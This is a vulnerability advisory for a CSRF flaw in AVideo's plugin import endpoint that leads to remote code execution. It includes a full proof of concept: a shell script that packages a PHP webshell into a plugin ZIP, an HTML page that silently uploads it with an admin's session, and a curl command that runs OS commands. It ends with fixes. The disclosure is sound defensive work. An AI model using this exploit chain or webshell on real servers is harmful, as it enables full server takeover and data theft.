PHP CVE-2026-33507

Summary

The objects/pluginImport.json.php endpoint allows admin users to upload and install plugin ZIP files containing executable PHP code, but lacks any CSRF protection. Combined with the application explicitly setting session.cookie_samesite = 'None' for HTTPS connections, an unauthenticated attacker can craft a page that, when visited by an authenticated admin, silently uploads a malicious plugin containing a PHP webshell, achieving Remote Code Execution on the server.

Details

The root cause has two components working together:

1. SameSite=None on session cookies (objects/include_config.php:134-137):

if ($isHTTPS) {
    ini_set('session.cookie_samesite', 'None');
    ini_set('session.cookie_secure', '1');
}

This explicitly allows browsers to include the session cookie on cross-origin requests to the AVideo instance.

2. No CSRF protection on pluginImport.json.php (objects/pluginImport.json.php:18):

if (!User::isAdmin()) {
    $obj->msg = "You are not admin";
    die(json_encode($obj));
}

The endpoint only checks User::isAdmin() via the session. There is:

• No CSRF token validation (the verifyToken/globalToken mechanism used elsewhere is absent)
• No allowOrigin() call (contrast with objects/videoAddNew.json.php which calls allowOrigin() at line 8)
• No Referer or Origin header validation
• No requirement for custom headers (e.g., X-Requested-With)

The upload form at view/managerPluginUpload.php also contains no CSRF token - it's a plain <form enctype="multipart/form-data"> with a file input.

Why the attack bypasses CORS preflight: multipart/form-data is a CORS-safelisted Content-Type, so a fetch() call with mode: 'no-cors' and credentials: 'include' sends the request directly without an OPTIONS preflight. The attacker cannot read the response, but the side effect - plugin installation and PHP file extraction to the web-accessible plugin/ directory - is the objective.

Why secondary PHP files are not validated: The ZIP validation (lines 67-152) thoroughly checks for path traversal, dangerous extensions (.phtml, .phar, .sh, etc.), and verifies the main plugin file extends PluginAbstract. However, .php is intentionally not in the dangerousExtensions list (it's a plugin system), and only the main file (PluginName/PluginName.php) is checked for the PluginAbstract pattern. Any additional .php files in the ZIP are extracted without content inspection.

PoC

Step 1: Create the malicious plugin ZIP

mkdir -p EvilPlugin
# Main file - passes PluginAbstract validation
cat > EvilPlugin/EvilPlugin.php << 'PLUG'
<?php
class EvilPlugin extends PluginAbstract {
    public function getTags() { return array(); }
    public function getDescription() { return "test"; }
    public function getName() { return "EvilPlugin"; }
    public function getUUID() { return "evil-0000-0000-0000"; }
    public function getPluginVersion() { return "1.0"; }
    public function getEmptyDataObject() { return new stdClass(); }
}
PLUG
# Secondary file - webshell, NOT checked for PluginAbstract
cat > EvilPlugin/cmd.php << 'SHELL'
<?php if(isset($_GET['c'])) system($_GET['c']); ?>
SHELL

zip -r evil-plugin.zip EvilPlugin/

Step 2: Host the CSRF exploit page

<!DOCTYPE html>
<html>
<body>
<h1>Loading...</h1>
<script>
// Minimal ZIP with EvilPlugin/EvilPlugin.php and EvilPlugin/cmd.php
// In practice, the attacker would embed the base64-encoded ZIP bytes here
async function exploit() {
    const zipResp = await fetch('evil-plugin.zip');
    const zipBlob = await zipResp.blob();

    const formData = new FormData();
    formData.append('input-b1', zipBlob, 'evil-plugin.zip');

    fetch('https://TARGET_AVIDEO_INSTANCE/objects/pluginImport.json.php', {
        method: 'POST',
        body: formData,
        mode: 'no-cors',
        credentials: 'include'
    });
}
exploit();
</script>
</body>
</html>

Step 3: Admin visits attacker's page while logged into AVideo over HTTPS

The browser sends the multipart/form-data POST with the admin's PHPSESSID cookie (allowed by SameSite=None). The server processes the upload, validates the ZIP structure, and extracts it to plugin/EvilPlugin/.

Step 4: Attacker accesses the webshell

curl 'https://TARGET_AVIDEO_INSTANCE/plugin/EvilPlugin/cmd.php?c=id'
# uid=33(www-data) gid=33(www-data) groups=33(www-data)

Impact

• Remote Code Execution: An unauthenticated attacker achieves arbitrary OS command execution on the AVideo server by exploiting a logged-in admin's session.
• Full server compromise: The webshell runs as the web server user (www-data), enabling data exfiltration, lateral movement, database access, and further privilege escalation.
• No attacker account needed: The attacker requires zero privileges on the target system - only that an admin visits a page they control.
• Stealth: The attack is invisible to the admin (fire-and-forget side-effect request). The no-cors mode means no visible error or redirect.

Recommended Fix

1. Add CSRF token validation to objects/pluginImport.json.php (primary fix):

// After the isAdmin() check at line 18, add:
if (!User::isAdmin()) {
    $obj->msg = "You are not admin";
    die(json_encode($obj));
}

// Add CSRF protection
allowOrigin();

// Also validate a CSRF token
if (empty($_POST['globalToken']) || !verifyToken($_POST['globalToken'])) {
    $obj->msg = "Invalid CSRF token";
    die(json_encode($obj));
}

2. Update the upload form in view/managerPluginUpload.php to include the token:

<form enctype="multipart/form-data">
    <input type="hidden" name="globalToken" value="<?php echo getToken(); ?>">
    <input id="input-b1" name="input-b1" type="file" class="">
</form>

And pass it in the JavaScript upload config:

$('#input-b1').fileinput({
    uploadUrl: webSiteRootURL + 'objects/pluginImport.json.php',
    uploadExtraData: { globalToken: $('input[name=globalToken]').val() },
    // ...
});

3. Consider changing SameSite=None to SameSite=Lax unless cross-origin cookie inclusion is specifically required for application functionality. Lax prevents cross-site POST requests from including cookies, which would mitigate this and similar CSRF vectors application-wide.